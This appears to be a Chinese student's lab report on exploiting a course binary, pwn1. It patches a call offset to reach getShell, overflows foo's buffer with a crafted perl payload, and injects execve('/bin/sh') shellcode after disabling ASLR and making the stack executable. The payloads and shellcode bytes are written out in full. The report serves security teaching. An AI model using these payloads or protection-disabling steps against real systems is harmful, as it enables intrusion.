
实验目的:
- 本次实践的对象是一个名为pwn1的linux可执行文件。
- 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
- 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
实验要求:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
基础知识:
- 常用Linux操作指令
objdump -d:对任意一个二进制文件进行反汇编
:%!xxd:把二进制文档转成十六进制显示
perl -e:指定字符串以作为脚本(多个字符串迭加)执行
|:管道,把前者的输出作为后者的输入
>:重定向,将输出内容指向一个指定文件
- NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:90。空指令,CPU不做操作,继续执行NOP后面的一条指令
JNE:75。条件转移指令,若不相等则跳转
JE:74。条件转移指令,若相等则跳转
JMP:无条件转移指令。段内直接短转 Jmp short(EB) 段内直接近转移 Jmp near(E9) 段内间接转移 Jmp word(FF) 段间直接(远)转移 Jmp far(EA)
CM:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。
CALL:E8,调用子程序。
2 实验步骤
2.1 直接修改程序机器指令,改变程序执行流程
(1)先通过cp指令将pwn1备份三份,分别重命名为20164317_1、20164317_2、20164317_3,用于后续实验
(2)使用反汇编命令objdump -d 20164317_1 | more将二进制文件20164317_1反汇编
(3)分析反汇编出来的代码,寻找需要修改的代码对应的机器码
其中,main函数中的"call 8048491"是汇编指令;是说这条指令将调用位于地址8048491处的foo函数;“e8 d7ffffff”的意思是跳转到d7ffffff。
本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行“EIP +d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba + d7ffffff = 80484ba - 0x29正好是8048491这个值。
既然main函数调用foo,对应机器指令为“e8 d7ffffff”,那么我们想调用getShell,只需要将“d7ffffff”修改为"getShell-80484ba"对应的补码,这个时候就需要用计算器了,然后通过计算47d-4ba就能得到补码,结果为c3ffffff。
(4)使用命令vim 20164317-1打开可执行文件,按ESC后,再输入:%!xxd,将显示模式切换为16进制模式
(5)输入/e8d7指定查找需要修改的部分代码,并比对前后相应代码,确定位置正确
(6)按i切换为输入模式,修改d7为c3,保存
(7)输入:%!xxd -r将十六进制转换为原格式,按:wq保存退出
(8)再输入反汇编命令objdump -d pwn_1,查看到call指令已经被修改为直接调用getShell
(9)运行20164317_1文件,可以看到出现了shell提示符 #
2.2 通过构造输入参数,造成BOF攻击,改变程序执行流
(1)objdump -d 20164317_2反汇编20164317_2文件
- 目的是利用foo函数中的Buffer overflow漏洞,通过构造输入的参数来造成BOF攻击
- foo函数中的mov指令读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成缓冲区溢出
- 目的是输入的参数刚好溢出到覆盖掉foo函数到main的返回地址
- main函数在调用foo函数的同时会在堆栈中压入返回地址80484ae
(2)通过gdb调试确认输入几个参数能刚好覆盖到返回地址
- 看出若是输入1111111122222222333333334444444412345678,那么1234恰好能够覆盖到返回地址
- 原因是从看eip值可以看出下一条指令的地址是0x34333231,就是1234按小端输出的ASCII码值
- 因此只需在参数1234的位置替换输入getShell的目的地址,再将结果输给pwn_2,则可以实现目的
(3)找到需要替换的目的地址
- 之前反汇编时可以看到getShell的目的地址是0x804847d,
- 因此要输入的参数是11111111222222223333333344444444\x7d\x84\x04\x08\x0a(\x0a换行)
(4)使用perl命令将输入的参数重定向>到BOF1,使用|管道命令将输出的BOF作为20164317_2的输入
- perl命令:perl -e ' print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > BOF1
- 管道命令:(cat BOF1 ; cat) | ./pwn_2
2.3 注入Shellcode并执行
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
-
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
首先使用apt-get install execstack命令安装execstack。
具体实验步骤如下:
- 修改设置:
- apt-get install execstack //安装execstack命令
-
execstack -s 20164317_3 //设置堆栈可执行
-
execstack -q 20164317_3 //查询文件的堆栈是否可执行
-
more
/proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
-
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
- more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
(2)查找地址
-
先在命令行输入perl -e 'print
"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"'
> input_shellcode,其中\x4\x3\x2\x1就是注入shellcode后覆盖到堆栈上的返回地址的位置 - 输入(cat input_shellcode;cat) | ./20164317_3注入shellcode攻击
-
在Tab2中输入ps -ef | grep
20164317_3,查找20164317_3的进程号为7897
- 在Tab2中使用gdb对20164317_3进行调试,输入attach 7897运行进程
- 通过disassemble foo查看foo的汇编代码,可以看到ret指令对应的地址为0x08048340
- 输入b *0x08048340设置断点,回车
- 输入c(continue),回车,返回Tab1,回车,再返回Tab2,回车
- info r esp查看栈顶指针,得到地址为0xffffd35c
-
使用十六进制x/16x 0xffffd35c查看内存,可以清楚的看到0x01020304
- 得出结论:返回地址栈顶指针ffffd35c+4位=覆盖到返回地址的地址,即ffffd360
- 将ffffd360改写入Shellcode中即可
(3)注入Shellcode
- 命令行输入perl -e 'print "A" x 32;print
"\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"'
> input_shellcode - 将其中的\x4\x3\x2\x1替换为ffffd360,即\x60\xd3\xff\xff
-
注入Shellcode攻击:(cat input_shellcode;cat)
| ./20164317_3,成功
遇到的问题
(1)命令行中的文件图形化界面中找不到
在命令行中用 nautilus /xxx 去打开终端中能看到而图形化界面中找不到的文件夹
(2)进程锁
4 实验收获与感想
(1)思考:什么是漏洞?漏洞有什么危害?
- 漏洞就是系统的弱点和缺陷,是计算机的BUG,是应用软件或操作系统软件在逻辑设计上没有考虑到的疏忽和缺陷或在编写中产生的错误,有被攻击的隐患,导致未授权的访问甚至破坏系统。漏洞的存在给不法分子或黑客攻击者提供了入侵电脑的机会,通常通过植入木马、病毒、钓鱼网站挂马等方式来攻击或控制整个电脑,造成诸如权限替换、窃取资料、信息泄露、病毒传播、恶意勒索、破坏系统等严重后果。
(2)实验收获与感想
本次实验使用了三种方法实现PC平台逆向破解,让我熟悉了Kali的使用(其实跟Linux差不多)并且循序渐进地学会了这三种攻击方法,特别是之前没接触过的BOF攻击、shellcode注入攻击等,也进一步学习了gdb调试的使用。通过这次实验,我了解了PC平台逆向破解技术,掌握了函数调用栈帧结构、缓冲区溢出攻击技术和shellcode攻击技术,这些技术其实都挺好玩的,学习起来也充满乐趣。我特别感谢老师和帮助我解决问题的同学,让我的实验少花费了更多时间,我之前的学习模式更偏向自己在网上找答案,如果网上解释的不详细或不正确,会造成很大的麻烦(这次的upgrade就让我的kali蓝屏了...差点自闭),现在我发现了询问老师同学会更快更方便。